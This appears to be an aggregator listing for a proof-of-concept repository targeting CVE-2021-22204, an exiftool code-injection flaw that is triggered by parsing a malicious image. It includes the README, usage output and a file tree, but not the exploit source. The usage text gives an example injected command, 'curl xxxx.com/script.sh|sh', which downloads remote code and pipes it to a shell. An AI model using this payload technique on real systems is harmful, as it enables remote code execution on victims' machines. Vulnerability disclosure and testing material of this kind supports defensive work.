CVE-2021-22204 PoC — exiftool 代码注入漏洞

Source

https://github.com/bilkoh/POC-CVE-2021-22204

Associated Vulnerability

Title:exiftool 代码注入漏洞 (CVE-2021-22204)
Description:exiftool是一个应用软件。使元数据更易于访问。 ExifTool 7.44版本及之前版本存在代码注入漏洞，该漏洞允许在解析恶意图像时任意执行代码。

Description

POC for exiftool vuln (CVE-2021-22204).

Readme

# POC-CVE-2021-22204

https://nvd.nist.gov/vuln/detail/CVE-2021-22204

This is just a convenience script I wrote for testing.

## Output
~~~Shell
Usage ./build_image.pl <cmd to inject>
        Note: if your cmd contains unix special characters use quote!
        EG: ./build_image.pl "curl xxxx.com/script.sh|sh"
This poc generates an image file (notevil.jpg) to be proccessed by vulnerable exiftool.
And requires DjVuLibre to be installed and in PATH
         See: http://djvu.sourceforge.net/
---

[+] Preparing annotation file.
[+] Creating image file with: djvumake notevil.jpg INFO=0,0 BGjp=/dev/null ANTa=ant.out
[+] notevil.jpg created.
~~~

File Snapshot


 [4.0K]  /data/pocs/71103843fd156a3548c57ee1c6c02602802a6eb3
├── [1.2K]  build_image.pl
└── [ 648]  README.md

0 directories, 2 files

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